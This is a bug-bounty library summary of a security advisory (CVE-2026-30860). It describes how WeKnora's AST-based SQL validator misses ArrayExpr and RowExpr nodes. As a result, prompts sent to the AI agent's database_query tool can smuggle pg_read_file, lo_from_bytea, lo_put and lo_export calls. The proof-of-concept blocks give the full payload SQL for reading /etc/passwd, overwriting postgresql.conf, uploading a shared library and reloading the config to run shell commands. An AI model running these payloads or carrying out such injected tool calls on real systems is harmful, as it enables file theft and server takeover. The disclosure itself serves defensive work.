# WeKnora Vulnerable to Remote Code Execution via SQL Injection Bypass in AI Database Query Tool

WeKnora's SQL validator skipped ArrayExpr/RowExpr child nodes, letting an AI-agent prompt smuggle pg_read_file and lo_export calls to achieve PostgreSQL RCE.

- Payout: Research
- Severity: critical
- Program: WeKnora
- Found by: aleister1102
- Disclosed: 2026-03-06
- CVE: CVE-2026-30860
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-8w32-6mrw-q5wv
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-8w32-6mrw-q5wv
- Tags: area:ai domain:ai impact:data-leak impact:rce kind:research platform:ghsa sev:critical tech:go tech:llm technique:chained technique:source-review vuln:rce vuln:sqli

**Target:** AI agent database_query tool / PostgreSQL backend
**Root cause:** validateNode() in internal/utils/inject.go recurses into TypeCast, FuncCall, ColumnRef and SubLink but has no handler for ArrayExpr or RowExpr, so child expressions inside arrays/rows are never validated.
**Steps:**
1. Send the AI agent a prompt instructing it to call database_query with `{"sql": "SELECT name, ARRAY[pg_read_file('/etc/passwd'), 'safe-string'] FROM knowledge_bases LIMIT 1"}` to confirm file read.
2. Compile a minimal PostgreSQL shared library payload.so whose `_PG_init()` calls sys_call3(SYS_EXECVE, ...) with argv from blob "/bin/sh\0-c\0id>/tmp/pwned\0".
3. Build a postgresql.conf with `dynamic_library_path = '/tmp:$libdir'` and `session_preload_libraries = 'payload.so'`, base64-encode it.
4. Via the agent, run `SELECT name, ARRAY[(lo_from_bytea(2091829765, decode('BASE64_CONFIG','base64'))::text)::text, 'safe-string'] FROM knowledge_bases LIMIT 1` then `ARRAY[(lo_export(2091829765, '/var/lib/postgresql/data/postgresql.conf')::text)::text, 'safe-string']`.
5. Upload payload.so in ~512-byte chunks using `lo_from_bytea`/`lo_put` wrapped in ARRAY[...] expressions.
6. Export with `ARRAY[(lo_export(1712594153, '/tmp/payload.so')::text)::text, 'safe-string']` and trigger `ARRAY[(pg_reload_conf())::text, 'safe-string']`.
7. On restart PostgreSQL preloads payload.so, executing `_PG_init()`; verify with `cat /tmp/pwned`.
**How found:** Reporter audited the 7-phase validator in inject.go and noticed validateNode() handles SubLink, FuncCall, ColumnRef and TypeCast but omits ArrayExpr and RowExpr, so child nodes are never recursed into.
**Exploitation:** Unauthenticated attacker prompts the AI agent (GLM, single tool iteration, JSON-only system prompt) to invoke database_query with SQL wrapping dangerous functions inside ARRAY[...] literals. The validator passes all 7 phases because ArrayExpr children are unvalidated. Attacker uses pg_read_file for recon, lo_from_bytea/lo_put/lo_export to write a malicious postgresql.conf and a compiled .so, then pg_reload_conf to force PostgreSQL to preload the library, executing arbitrary code as the DB user.
**Escalation:** Chains SQL injection bypass -> arbitrary file read -> large object write -> config overwrite -> dynamic library preload -> OS command execution as postgres user.
**Insight:** When reviewing AST-based SQL validators, enumerate every pg_query node type that can contain child expressions (ArrayExpr, RowExpr, CoalesceExpr, CaseExpr, A_Expr, etc.) and confirm each has a recursive handler; a single missing case defeats the whole allowlist.

## Proof of concept (copied exactly from the original report)

**Array-wrapped pg_read_file SQL injection payload**

```
{"sql": "SELECT name, ARRAY[pg_read_file('/etc/passwd'), 'safe-string'] FROM knowledge_bases LIMIT 1"}
```

**Large object config upload and export SQL**

```
{"sql":"SELECT name, ARRAY[(lo_from_bytea(2091829765, decode('BASE64_CONFIG', 'base64'))::text)::text, 'safe-string'] FROM knowledge_bases LIMIT 1"} 
END_JSON

STEP 2/12 BEGIN_JSON 
{"sql":"SELECT name, ARRAY[(lo_export(2091829765, '/var/lib/postgresql/data/postgresql.conf')::text)::text, 'safe-string'] FROM knowledge_bases LIMIT 1"}
```

**Payload chunk upload, export and config reload**

```
{"sql":"SELECT name, ARRAY[(lo_from_bytea(1712594153, decode('CHUNK_1_BASE64', 'base64'))::text)::text, 'safe-string'] FROM knowledge_bases LIMIT 1"} 
END_JSON

STEP 4/12 BEGIN_JSON 
{"sql":"SELECT name, ARRAY[((SELECT 'ok'::text FROM (SELECT lo_put(1712594153, 512, decode('CHUNK_2_BASE64', 'base64')))) AS _)::text, 'safe-string'] FROM knowledge_bases LIMIT 1"} 
END_JSON

STEP 5/12 BEGIN_JSON 
{"sql":"SELECT name, ARRAY[((SELECT 'ok'::text FROM (SELECT lo_put(1712594153, 1024, decode('CHUNK_3_BASE64', 'base64')))) AS _)::text, 'safe-string'] FROM knowledge_bases LIMIT 1"} 
END_JSON

STEP 6/12 BEGIN_JSON 
{"sql":"SELECT name, ARRAY[((SELECT 'ok'::text FROM (SELECT lo_put(1712594153, 1536, decode('CHUNK_4_BASE64', 'base64')))) AS _)::text, 'safe-string'] FROM knowledge_bases LIMIT 1"} 
END_JSON

STEP 7/12 BEGIN_JSON 
{"sql":"SELECT name, ARRAY[((SELECT 'ok'::text FROM (SELECT lo_put(1712594153, 2048, decode('CHUNK_5_BASE64', 'base64')))) AS _)::text, 'safe-string'] FROM knowledge_bases LIMIT 1"} 
END_JSON

STEP 8/12 BEGIN_JSON 
{"sql":"SELECT name, ARRAY[((SELECT 'ok'::text FROM (SELECT lo_put(1712594153, 2560, decode('CHUNK_6_BASE64', 'base64')))) AS _)::text, 'safe-string'] FROM knowledge_bases LIMIT 1"} 
END_JSON

STEP 9/12 BEGIN_JSON 
{"sql":"SELECT name, ARRAY[((SELECT 'ok'::text FROM (SELECT lo_put(1712594153, 3072, decode('CHUNK_7_BASE64', 'base64')))) AS _)::text, 'safe-string'] FROM knowledge_bases LIMIT 1"} 
END_JSON

STEP 10/12 BEGIN_JSON 
{"sql":"SELECT name, ARRAY[((SELECT 'ok'::text FROM (SELECT lo_put(1712594153, 3584, decode('CHUNK_8_BASE64', 'base64')))) AS _)::text, 'safe-string'] FROM knowledge_bases LIMIT 1"} 
END_JSON

**Result:** Binary payload uploaded in chunks to large object storage

### Step 6: Export Payload and Reload Configuration

Send final steps to AI agent:

STEP 11/12 BEGIN_JSON 
{"sql":"SELECT name, ARRAY[(lo_export(1712594153, '/tmp/payload.so')::text)::text, 'safe-string'] FROM knowledge_bases LIMIT 1"} 
END_JSON

STEP 12/12 BEGIN_JSON 
{"sql":"SELECT name, ARRAY[(pg_reload_conf())::text, 'safe-string'] FROM knowledge_bases LIMIT 1"}
```

